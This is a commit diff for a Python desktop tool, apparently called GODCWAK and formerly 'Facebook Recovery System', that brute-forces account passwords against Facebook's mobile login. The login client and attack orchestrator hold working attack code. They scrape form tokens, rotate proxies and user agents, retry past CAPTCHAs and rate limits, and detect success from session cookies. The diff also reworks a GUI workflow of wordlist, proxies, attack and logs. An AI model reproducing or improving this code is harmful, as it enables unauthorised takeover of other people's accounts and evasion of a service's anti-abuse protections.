Improve UI cohesion, status bar, and core attack reliability
This commit is contained in:
@@ -1,9 +1,12 @@
|
||||
"""
|
||||
Configuration and constants for the Facebook Recovery System.
|
||||
Configuration and constants for GODCWAK.
|
||||
"""
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
APP_NAME = "GODCWAK"
|
||||
APP_VERSION = "1.0"
|
||||
|
||||
# Paths
|
||||
BASE_DIR = Path(__file__).parent
|
||||
DATA_DIR = BASE_DIR / "data"
|
||||
|
||||
10
main.py
10
main.py
@@ -1,13 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Facebook Recovery System v1.0
|
||||
GODCWAK v1.0
|
||||
GPU-accelerated password recovery tool with proxy rotation.
|
||||
|
||||
Usage:
|
||||
python main.py
|
||||
|
||||
Requirements:
|
||||
pip install -r requirements.txt
|
||||
GODCWAK.bat
|
||||
"""
|
||||
import logging
|
||||
import sys
|
||||
@@ -78,9 +76,9 @@ def main():
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
from src.gui.app import FacebookRecoveryApp
|
||||
from src.gui.app import GODCWAKApp
|
||||
|
||||
app = FacebookRecoveryApp()
|
||||
app = GODCWAKApp()
|
||||
logger.info("Application started successfully")
|
||||
app.mainloop()
|
||||
|
||||
|
||||
@@ -4,10 +4,11 @@ Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other si
|
||||
"""
|
||||
import logging
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional
|
||||
from urllib.parse import urlparse, urljoin
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import requests
|
||||
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
|
||||
@@ -21,42 +22,52 @@ class SiteConfig:
|
||||
login_url: str = "https://m.facebook.com/login.php"
|
||||
base_url: str = "https://m.facebook.com"
|
||||
|
||||
# HTML form field names
|
||||
username_field: str = "email"
|
||||
password_field: str = "pass"
|
||||
|
||||
# Extra static POST fields (e.g. Facebook's login_source)
|
||||
extra_fields: Dict[str, str] = field(default_factory=lambda: {
|
||||
"login_source": "comet_headerless",
|
||||
"login": "Log In",
|
||||
})
|
||||
|
||||
# Token scraping (CSRF)
|
||||
csrf_field: str = "lsd" # empty string to disable
|
||||
csrf_field: str = "lsd"
|
||||
csrf_patterns: List[str] = field(default_factory=lambda: [
|
||||
r'name="lsd"[^>]*value="([^"]+)"',
|
||||
r'"lsd"[^}]*?"([^"]+)"',
|
||||
r'name="fb_dtsg"[^>]*value="([^"]+)"',
|
||||
r'"fb_dtsg"\s*:\s*"([^"]+)"',
|
||||
])
|
||||
# (field_name, regex) — scraped from login page and merged into POST body
|
||||
token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [
|
||||
("lsd", r'name="lsd"[^>]*value="([^"]+)"'),
|
||||
("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'),
|
||||
("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'),
|
||||
("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'),
|
||||
("li", r'name="li"[^>]*value="([^"]+)"'),
|
||||
])
|
||||
|
||||
# Success / failure detection in response body or URL
|
||||
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
|
||||
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
|
||||
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
|
||||
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"])
|
||||
success_url_fragments: List[str] = field(default_factory=lambda: [
|
||||
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
|
||||
])
|
||||
failure_url_fragments: List[str] = field(default_factory=lambda: [
|
||||
"login", "checkpoint", "recover", "two_step",
|
||||
])
|
||||
captcha_indicators: List[str] = field(default_factory=lambda: [
|
||||
"captcha", "security check", "confirm your identity",
|
||||
"unusual activity", "verify", "prove you",
|
||||
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
|
||||
"security check", "confirm your identity",
|
||||
"unusual activity", "prove you're human", "verify it's you",
|
||||
])
|
||||
rate_limit_indicators: List[str] = field(default_factory=lambda: [
|
||||
"too many", "try again later", "rate limit",
|
||||
"too many", "try again later", "rate limit", "temporarily blocked",
|
||||
])
|
||||
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
|
||||
"incorrect", "wrong password", "invalid", "didn't match",
|
||||
"password you entered", "not match",
|
||||
"password you entered", "not match", "login failed",
|
||||
])
|
||||
|
||||
@classmethod
|
||||
def for_url(cls, url: str) -> "SiteConfig":
|
||||
"""Build a minimal config for an arbitrary URL (generic form POST)."""
|
||||
parsed = urlparse(url)
|
||||
base = f"{parsed.scheme}://{parsed.netloc}"
|
||||
return cls(
|
||||
@@ -64,9 +75,10 @@ class SiteConfig:
|
||||
base_url=base,
|
||||
extra_fields={},
|
||||
csrf_field="",
|
||||
token_patterns=[],
|
||||
success_cookies=[],
|
||||
success_url_fragments=[],
|
||||
failure_url_fragments=["login", "signin", "auth"],
|
||||
failure_url_fragments=["login", "signin", "auth", "error"],
|
||||
)
|
||||
|
||||
|
||||
@@ -82,53 +94,64 @@ class LoginResult:
|
||||
|
||||
|
||||
class LoginClient:
|
||||
"""
|
||||
Generic HTML-form login client.
|
||||
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
|
||||
"""
|
||||
"""Generic HTML-form login client with thread-local HTTP sessions."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
site_config: Optional[SiteConfig] = None,
|
||||
request_timeout: int = 20,
|
||||
):
|
||||
self.site = site_config or SiteConfig()
|
||||
self.site = site_config or SiteConfig()
|
||||
self.request_timeout = request_timeout
|
||||
self.session = requests.Session()
|
||||
self.session.headers.update({
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
})
|
||||
self._local = threading.local()
|
||||
|
||||
def reconfigure(self, site_config: SiteConfig):
|
||||
self.site = site_config
|
||||
self.session.cookies.clear()
|
||||
session = getattr(self._local, "session", None)
|
||||
if session is not None:
|
||||
session.cookies.clear()
|
||||
|
||||
# ── CSRF helper ───────────────────────────────────────────────────────────
|
||||
def _get_session(self) -> requests.Session:
|
||||
session = getattr(self._local, "session", None)
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
session.headers.update({
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
})
|
||||
self._local.session = session
|
||||
return session
|
||||
|
||||
def _get_csrf_token(self, proxies: Dict) -> str:
|
||||
if not self.site.csrf_field:
|
||||
return ""
|
||||
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
|
||||
if not self.site.token_patterns and not self.site.csrf_patterns:
|
||||
return {}
|
||||
tokens: Dict[str, str] = {}
|
||||
try:
|
||||
ua = get_random_mobile_ua()
|
||||
resp = self.session.get(
|
||||
session = self._get_session()
|
||||
resp = session.get(
|
||||
self.site.login_url,
|
||||
proxies=proxies,
|
||||
headers={"User-Agent": ua},
|
||||
timeout=self.request_timeout,
|
||||
)
|
||||
for pattern in self.site.csrf_patterns:
|
||||
m = re.search(pattern, resp.text)
|
||||
html = resp.text
|
||||
for field_name, pattern in self.site.token_patterns:
|
||||
m = re.search(pattern, html)
|
||||
if m:
|
||||
return m.group(1)
|
||||
tokens[field_name] = m.group(1)
|
||||
if not tokens and self.site.csrf_field:
|
||||
for pattern in self.site.csrf_patterns:
|
||||
m = re.search(pattern, html)
|
||||
if m:
|
||||
tokens[self.site.csrf_field] = m.group(1)
|
||||
break
|
||||
except Exception as e:
|
||||
logger.debug(f"CSRF token fetch failed: {e}")
|
||||
return ""
|
||||
|
||||
# ── Core attempt ─────────────────────────────────────────────────────────
|
||||
logger.debug(f"Form token fetch failed: {e}")
|
||||
return tokens
|
||||
|
||||
def attempt_login(
|
||||
self,
|
||||
@@ -136,19 +159,19 @@ class LoginClient:
|
||||
password: str,
|
||||
proxy_string: Optional[str] = None,
|
||||
) -> LoginResult:
|
||||
start = time.time()
|
||||
start = time.time()
|
||||
proxies = self._build_proxies(proxy_string)
|
||||
ua = get_random_facebook_ua()
|
||||
ua = get_random_facebook_ua()
|
||||
session = self._get_session()
|
||||
|
||||
try:
|
||||
csrf = self._get_csrf_token(proxies)
|
||||
tokens = self._get_form_tokens(proxies)
|
||||
|
||||
payload: Dict[str, str] = {
|
||||
self.site.username_field: username,
|
||||
self.site.password_field: password,
|
||||
}
|
||||
if self.site.csrf_field and csrf:
|
||||
payload[self.site.csrf_field] = csrf
|
||||
payload.update(tokens)
|
||||
payload.update(self.site.extra_fields)
|
||||
|
||||
headers = {
|
||||
@@ -159,7 +182,7 @@ class LoginClient:
|
||||
"Cache-Control": "max-age=0",
|
||||
}
|
||||
|
||||
resp = self.session.post(
|
||||
resp = session.post(
|
||||
self.site.login_url,
|
||||
data=payload,
|
||||
proxies=proxies,
|
||||
@@ -168,7 +191,7 @@ class LoginClient:
|
||||
allow_redirects=True,
|
||||
)
|
||||
elapsed = (time.time() - start) * 1000
|
||||
return self._analyse(resp, password, elapsed)
|
||||
return self._analyse(resp, password, elapsed, session)
|
||||
|
||||
except requests.ConnectTimeout:
|
||||
return LoginResult(False, 0, _ms(start), "Connection timeout")
|
||||
@@ -179,40 +202,64 @@ class LoginClient:
|
||||
except Exception as e:
|
||||
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
|
||||
|
||||
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
|
||||
url = resp.url.lower()
|
||||
def _analyse(
|
||||
self,
|
||||
resp: requests.Response,
|
||||
password: str,
|
||||
elapsed: float,
|
||||
session: requests.Session,
|
||||
) -> LoginResult:
|
||||
url = resp.url.lower()
|
||||
text = resp.text.lower()
|
||||
code = resp.status_code
|
||||
|
||||
# ── Captcha check first ───────────────────────────────────────────
|
||||
# Session cookies (including redirects)
|
||||
all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()}
|
||||
|
||||
if "checkpoint" in url or "two_step" in url:
|
||||
return LoginResult(
|
||||
False, code, round(elapsed, 1),
|
||||
"Checkpoint / 2FA — manual step required",
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
|
||||
if any(kw in text for kw in self.site.captcha_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1),
|
||||
"CAPTCHA detected", captcha_detected=True)
|
||||
return LoginResult(
|
||||
False, code, round(elapsed, 1),
|
||||
"CAPTCHA detected", captcha_detected=True,
|
||||
)
|
||||
|
||||
# ── Cookie-based success ──────────────────────────────────────────
|
||||
for cookie in self.site.success_cookies:
|
||||
if cookie in resp.cookies:
|
||||
if cookie in all_cookies:
|
||||
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
|
||||
return LoginResult(True, code, round(elapsed, 1),
|
||||
"Login successful!",
|
||||
cookies=dict(resp.cookies),
|
||||
redirect_url=resp.url)
|
||||
return LoginResult(
|
||||
True, code, round(elapsed, 1),
|
||||
"Login successful!",
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
|
||||
# ── URL-redirect success ──────────────────────────────────────────
|
||||
failed_frag = any(f in url for f in self.site.failure_url_fragments)
|
||||
if not failed_frag and code == 200:
|
||||
if not failed_frag and code in (200, 302):
|
||||
if any(f in url for f in self.site.success_url_fragments):
|
||||
logger.info(f"Possible SUCCESS via redirect to: {url}")
|
||||
return LoginResult(True, code, round(elapsed, 1),
|
||||
f"Redirected to: {url[:60]}",
|
||||
cookies=dict(resp.cookies),
|
||||
redirect_url=resp.url)
|
||||
return LoginResult(
|
||||
True, code, round(elapsed, 1),
|
||||
f"Redirected to: {url[:60]}",
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
if "facebook.com" in url and "login" not in url:
|
||||
return LoginResult(
|
||||
True, code, round(elapsed, 1),
|
||||
"Login successful (URL redirect)",
|
||||
cookies=all_cookies,
|
||||
redirect_url=resp.url,
|
||||
)
|
||||
|
||||
# ── Rate-limit ────────────────────────────────────────────────────
|
||||
if any(kw in text for kw in self.site.rate_limit_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
|
||||
|
||||
# ── Wrong password ────────────────────────────────────────────────
|
||||
if any(kw in text for kw in self.site.wrong_pass_indicators):
|
||||
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")
|
||||
|
||||
|
||||
@@ -92,6 +92,9 @@ class AttackOrchestrator:
|
||||
|
||||
self._password_index: int = 0
|
||||
self._workers_active: int = 0
|
||||
self._success_event = threading.Event()
|
||||
self._max_captcha_retries = 3
|
||||
self._captcha_retries: dict = {}
|
||||
|
||||
# ── Public API ───────────────────────────────────────────────────────────
|
||||
|
||||
@@ -121,6 +124,8 @@ class AttackOrchestrator:
|
||||
self.stats.start_time = time.time()
|
||||
self._password_index = 0
|
||||
self._workers_active = self.max_workers
|
||||
self._success_event.clear()
|
||||
self._captcha_retries.clear()
|
||||
|
||||
if self.on_state_change:
|
||||
self.on_state_change(self.state)
|
||||
@@ -159,9 +164,15 @@ class AttackOrchestrator:
|
||||
def _run_worker(self, worker_id: int):
|
||||
rotation_counter = 0
|
||||
current_proxy: Optional[str] = None
|
||||
client = LoginClient(
|
||||
site_config=self.site_config,
|
||||
request_timeout=self.request_timeout,
|
||||
)
|
||||
|
||||
try:
|
||||
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
|
||||
if self._success_event.is_set():
|
||||
break
|
||||
if self.state == AttackState.PAUSED:
|
||||
time.sleep(0.1)
|
||||
continue
|
||||
@@ -187,24 +198,25 @@ class AttackOrchestrator:
|
||||
self.stats.current_proxy = current_proxy
|
||||
self.stats.active_workers = self._workers_active
|
||||
|
||||
result: LoginResult = self.login_client.attempt_login(
|
||||
result: LoginResult = client.attempt_login(
|
||||
username=self.username,
|
||||
password=password,
|
||||
proxy_string=current_proxy,
|
||||
)
|
||||
|
||||
# ── Handle CAPTCHA ─────────────────────────────────────
|
||||
if result.captcha_detected:
|
||||
with self._lock:
|
||||
self.stats.captchas_hit += 1
|
||||
logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI")
|
||||
retries = self._captcha_retries.get(password, 0) + 1
|
||||
self._captcha_retries[password] = retries
|
||||
logger.info(f"[W{worker_id}] CAPTCHA hit (retry {retries})")
|
||||
if self.on_captcha:
|
||||
self.on_captcha(current_proxy)
|
||||
# Re-queue this password and rotate proxy
|
||||
with self._lock:
|
||||
self._password_index -= 1
|
||||
# CAPTCHA/rate-limit proxies are held out of immediate rotation.
|
||||
current_proxy = None
|
||||
if retries >= self._max_captcha_retries:
|
||||
logger.warning(f"[W{worker_id}] Max CAPTCHA retries for password")
|
||||
time.sleep(random.uniform(2.0, 5.0))
|
||||
continue
|
||||
|
||||
@@ -254,6 +266,7 @@ class AttackOrchestrator:
|
||||
|
||||
if result.success:
|
||||
logger.info(f"*** PASSWORD FOUND: {password} ***")
|
||||
self._success_event.set()
|
||||
if self.on_success:
|
||||
self.on_success(password, current_proxy, result)
|
||||
self.state = AttackState.COMPLETED
|
||||
|
||||
287
src/gui/app.py
287
src/gui/app.py
@@ -7,6 +7,7 @@ from datetime import datetime
|
||||
import customtkinter as ctk
|
||||
|
||||
from src.gui.theme import CyberpunkTheme
|
||||
from src.gui.workflow import WORKFLOW_STEPS, TAB_TO_STEP
|
||||
from src.gui.password_builder_tab import PasswordBuilderTab
|
||||
from src.gui.proxy_manager_tab import ProxyManagerTab
|
||||
from src.gui.attack_tab import AttackTab
|
||||
@@ -14,13 +15,13 @@ from src.gui.logs_tab import LogsTab
|
||||
from src.gui.setup_tab import SetupTab
|
||||
from src.proxy.pool import ProxyPool
|
||||
from src.utils.logger import AttemptLogger
|
||||
from config import ASSETS_DIR, PASSWORDS_FILE
|
||||
from config import ASSETS_DIR, PASSWORDS_FILE, APP_NAME, APP_VERSION, OLLAMA_CONFIG_FILE
|
||||
from src.utils.file_io import count_lines
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class FacebookRecoveryApp(ctk.CTk):
|
||||
class GODCWAKApp(ctk.CTk):
|
||||
"""Main application window."""
|
||||
|
||||
def __init__(self):
|
||||
@@ -31,9 +32,11 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
# Shared state
|
||||
self.proxy_pool = ProxyPool()
|
||||
self.attempt_logger = AttemptLogger()
|
||||
self._attack_state = "IDLE"
|
||||
self._workflow_badges = {}
|
||||
|
||||
# Window
|
||||
self.title("GODCWAK v1.0")
|
||||
self.title(f"{APP_NAME} v{APP_VERSION}")
|
||||
self.geometry("1300x820")
|
||||
self.minsize(1080, 720)
|
||||
self.configure(fg_color=CyberpunkTheme.BG_DARK)
|
||||
@@ -49,11 +52,14 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
pass
|
||||
|
||||
self._build_header()
|
||||
self._build_workflow_ribbon()
|
||||
self._build_tabs()
|
||||
self._build_status_bar() # must be last (packs to bottom)
|
||||
self._build_status_bar()
|
||||
|
||||
self._tick_clock()
|
||||
self._periodic_update()
|
||||
self._slow_system_update()
|
||||
self.set_status(f"{APP_NAME} READY — start at Step 01: Password Builder")
|
||||
|
||||
# ── Header ──────────────────────────────────────────────────────────────
|
||||
|
||||
@@ -85,10 +91,10 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
badge_col = ctk.CTkFrame(inner, fg_color="transparent")
|
||||
badge_col.pack(side="right", padx=(0, 5))
|
||||
|
||||
ctk.CTkLabel(badge_col, text="GODCWAK",
|
||||
ctk.CTkLabel(badge_col, text=APP_NAME,
|
||||
font=("Consolas", 18, "bold"),
|
||||
text_color=CyberpunkTheme.PRIMARY).pack(anchor="e")
|
||||
ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED",
|
||||
ctk.CTkLabel(badge_col, text=f"v{APP_VERSION} // GPU-ACCELERATED",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TERTIARY).pack(anchor="e")
|
||||
ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI",
|
||||
@@ -97,6 +103,77 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
|
||||
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x")
|
||||
|
||||
# ── Workflow ribbon ─────────────────────────────────────────────────────
|
||||
|
||||
def _build_workflow_ribbon(self):
|
||||
ribbon = ctk.CTkFrame(
|
||||
self,
|
||||
fg_color=CyberpunkTheme.BG_LIGHT,
|
||||
border_width=1,
|
||||
border_color=CyberpunkTheme.BORDER,
|
||||
)
|
||||
ribbon.pack(fill="x", padx=15, pady=(8, 0))
|
||||
|
||||
inner = ctk.CTkFrame(ribbon, fg_color="transparent")
|
||||
inner.pack(fill="x", padx=10, pady=8)
|
||||
|
||||
ctk.CTkLabel(
|
||||
inner,
|
||||
text="WORKFLOW",
|
||||
font=("Consolas", 9, "bold"),
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
width=72,
|
||||
).pack(side="left", padx=(0, 8))
|
||||
|
||||
for step in WORKFLOW_STEPS:
|
||||
chip = ctk.CTkFrame(
|
||||
inner,
|
||||
fg_color=CyberpunkTheme.BG_DARK,
|
||||
border_width=1,
|
||||
border_color=CyberpunkTheme.BORDER,
|
||||
corner_radius=4,
|
||||
)
|
||||
chip.pack(side="left", padx=(0, 6))
|
||||
|
||||
num_lbl = ctk.CTkLabel(
|
||||
chip,
|
||||
text=step["num"],
|
||||
font=("Consolas", 9, "bold"),
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
width=22,
|
||||
)
|
||||
num_lbl.pack(side="left", padx=(6, 2), pady=4)
|
||||
|
||||
title_lbl = ctk.CTkLabel(
|
||||
chip,
|
||||
text=step["title"],
|
||||
font=("Consolas", 9, "bold"),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||
)
|
||||
title_lbl.pack(side="left", padx=(0, 8), pady=4)
|
||||
|
||||
self._workflow_badges[step["tab"]] = (chip, num_lbl, title_lbl)
|
||||
|
||||
self._highlight_workflow_step("Password Builder")
|
||||
|
||||
def _highlight_workflow_step(self, tab_name: str):
|
||||
for name, (chip, num_lbl, title_lbl) in self._workflow_badges.items():
|
||||
active = name == tab_name
|
||||
chip.configure(
|
||||
border_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.BORDER,
|
||||
fg_color=CyberpunkTheme.BG_MEDIUM if active else CyberpunkTheme.BG_DARK,
|
||||
)
|
||||
num_lbl.configure(
|
||||
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_DIM
|
||||
)
|
||||
title_lbl.configure(
|
||||
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_SECONDARY
|
||||
)
|
||||
|
||||
step = TAB_TO_STEP.get(tab_name)
|
||||
if step and hasattr(self, "workflow_hint_label"):
|
||||
self.workflow_hint_label.configure(text=f"▸ {step['hint']}")
|
||||
|
||||
# ── Tabs ─────────────────────────────────────────────────────────────────
|
||||
|
||||
def _build_tabs(self):
|
||||
@@ -106,54 +183,76 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
border_width=1,
|
||||
border_color=CyberpunkTheme.BORDER,
|
||||
corner_radius=6,
|
||||
command=self._on_tab_changed,
|
||||
)
|
||||
self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0))
|
||||
|
||||
tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"]
|
||||
tab_names = [s["tab"] for s in WORKFLOW_STEPS]
|
||||
for name in tab_names:
|
||||
self.tab_view.add(name)
|
||||
|
||||
sc = self.set_status # shared status callback
|
||||
sc = self.set_status
|
||||
|
||||
self.password_builder_tab = PasswordBuilderTab(
|
||||
self.tab_view.tab("Password Builder"),
|
||||
status_callback=sc)
|
||||
status_callback=sc,
|
||||
app=self,
|
||||
)
|
||||
self.password_builder_tab.pack(fill="both", expand=True)
|
||||
|
||||
self.proxy_manager_tab = ProxyManagerTab(
|
||||
self.tab_view.tab("Proxy Manager"),
|
||||
self.proxy_pool,
|
||||
status_callback=sc)
|
||||
status_callback=sc,
|
||||
app=self,
|
||||
)
|
||||
self.proxy_manager_tab.pack(fill="both", expand=True)
|
||||
|
||||
self.attack_tab = AttackTab(
|
||||
self.tab_view.tab("Attack"),
|
||||
self.proxy_pool,
|
||||
status_callback=sc,
|
||||
attempt_logger=self.attempt_logger)
|
||||
attempt_logger=self.attempt_logger,
|
||||
app=self,
|
||||
)
|
||||
self.attack_tab.pack(fill="both", expand=True)
|
||||
|
||||
self.logs_tab = LogsTab(
|
||||
self.tab_view.tab("Logs"),
|
||||
self.attempt_logger)
|
||||
self.attempt_logger,
|
||||
app=self,
|
||||
)
|
||||
self.logs_tab.pack(fill="both", expand=True)
|
||||
|
||||
self.setup_tab = SetupTab(self.tab_view.tab("Setup"))
|
||||
self.setup_tab = SetupTab(
|
||||
self.tab_view.tab("Setup"),
|
||||
status_callback=sc,
|
||||
app=self,
|
||||
)
|
||||
self.setup_tab.pack(fill="both", expand=True)
|
||||
|
||||
def _on_tab_changed(self):
|
||||
try:
|
||||
tab = self.tab_view.get()
|
||||
self._highlight_workflow_step(tab)
|
||||
step = TAB_TO_STEP.get(tab)
|
||||
if step:
|
||||
self.set_status(f"Step {step['num']}: {step['title']} — {step['hint'][:70]}")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def set_attack_state(self, state: str):
|
||||
self._attack_state = state.upper()
|
||||
self._update_attack_status_label()
|
||||
|
||||
# ── Status bar ───────────────────────────────────────────────────────────
|
||||
|
||||
def _build_status_bar(self):
|
||||
"""
|
||||
Rich multi-field status bar:
|
||||
● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK
|
||||
"""
|
||||
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32)
|
||||
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=34)
|
||||
bar.pack(side="bottom", fill="x")
|
||||
bar.pack_propagate(False)
|
||||
ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top")
|
||||
|
||||
# Left: blinking dot + status message
|
||||
left = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
left.pack(side="left", fill="y", padx=(6, 0))
|
||||
|
||||
@@ -163,37 +262,53 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
self._status_dot.pack(side="left", padx=(0, 4))
|
||||
|
||||
self.status_label = ctk.CTkLabel(
|
||||
left, text="GODCWAK READY",
|
||||
left, text=f"{APP_NAME} READY",
|
||||
font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_SECONDARY)
|
||||
self.status_label.pack(side="left")
|
||||
|
||||
# Right: wordlist count | proxy count | separator | clock
|
||||
center = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
center.pack(side="left", fill="both", expand=True, padx=8)
|
||||
|
||||
self.workflow_hint_label = ctk.CTkLabel(
|
||||
center,
|
||||
text="▸ Build wordlist → load proxies → configure attack → review logs",
|
||||
font=("Consolas", 9),
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
anchor="w",
|
||||
)
|
||||
self.workflow_hint_label.pack(fill="x", pady=6)
|
||||
|
||||
right = ctk.CTkFrame(bar, fg_color="transparent")
|
||||
right.pack(side="right", fill="y", padx=(0, 10))
|
||||
right.pack(side="right", fill="y", padx=(0, 8))
|
||||
|
||||
self.clock_label = ctk.CTkLabel(
|
||||
right, text="", font=("Consolas", 10),
|
||||
text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.clock_label.pack(side="right", padx=(10, 0))
|
||||
def _sep():
|
||||
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
|
||||
width=1, height=16).pack(side="right", padx=6)
|
||||
|
||||
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
|
||||
width=1, height=16).pack(side="right", padx=8)
|
||||
def _metric(side="right"):
|
||||
lbl = ctk.CTkLabel(
|
||||
right, text="—",
|
||||
font=("Consolas", 9),
|
||||
text_color=CyberpunkTheme.TEXT_DIM,
|
||||
)
|
||||
lbl.pack(side=side, padx=(0, 2))
|
||||
return lbl
|
||||
|
||||
self.sb_proxies = ctk.CTkLabel(
|
||||
right, text="PROXIES: 0",
|
||||
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.sb_proxies.pack(side="right", padx=(4, 0))
|
||||
|
||||
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
|
||||
width=1, height=16).pack(side="right", padx=8)
|
||||
|
||||
self.sb_wordlist = ctk.CTkLabel(
|
||||
right, text="WORDLIST: 0",
|
||||
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
|
||||
self.sb_wordlist.pack(side="right", padx=(4, 0))
|
||||
self.clock_label = _metric()
|
||||
_sep()
|
||||
self.sb_attack = _metric()
|
||||
_sep()
|
||||
self.sb_ollama = _metric()
|
||||
_sep()
|
||||
self.sb_gpu = _metric()
|
||||
_sep()
|
||||
self.sb_proxies = _metric()
|
||||
_sep()
|
||||
self.sb_wordlist = _metric()
|
||||
|
||||
self._blink_dot()
|
||||
self._update_attack_status_label()
|
||||
|
||||
def _blink_dot(self):
|
||||
try:
|
||||
@@ -209,7 +324,7 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
def _tick_clock(self):
|
||||
try:
|
||||
self.clock_label.configure(
|
||||
text=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
|
||||
text=datetime.now().strftime("%H:%M:%S"))
|
||||
except Exception:
|
||||
pass
|
||||
self.after(1000, self._tick_clock)
|
||||
@@ -217,10 +332,25 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
def set_status(self, message: str):
|
||||
"""Update the main status bar message (callable from any tab)."""
|
||||
try:
|
||||
self.status_label.configure(text=message[:120])
|
||||
self.status_label.configure(text=message[:140])
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _update_attack_status_label(self):
|
||||
colors = {
|
||||
"IDLE": CyberpunkTheme.TEXT_DIM,
|
||||
"RUNNING": CyberpunkTheme.SUCCESS,
|
||||
"PAUSED": CyberpunkTheme.WARNING,
|
||||
"STOPPED": CyberpunkTheme.ERROR,
|
||||
"COMPLETED": CyberpunkTheme.PRIMARY,
|
||||
}
|
||||
color = colors.get(self._attack_state, CyberpunkTheme.TEXT_DIM)
|
||||
if hasattr(self, "sb_attack"):
|
||||
self.sb_attack.configure(
|
||||
text=f"ATTACK: {self._attack_state}",
|
||||
text_color=color,
|
||||
)
|
||||
|
||||
# ── Periodic updates ─────────────────────────────────────────────────────
|
||||
|
||||
def _periodic_update(self):
|
||||
@@ -228,18 +358,18 @@ class FacebookRecoveryApp(ctk.CTk):
|
||||
wl_count = count_lines(PASSWORDS_FILE)
|
||||
self.sb_wordlist.configure(
|
||||
text=f"WORDLIST: {wl_count:,}",
|
||||
text_color=(CyberpunkTheme.SUCCESS
|
||||
if wl_count > 0
|
||||
text_color=(CyberpunkTheme.SUCCESS if wl_count > 0
|
||||
else CyberpunkTheme.TEXT_DIM))
|
||||
except Exception:
|
||||
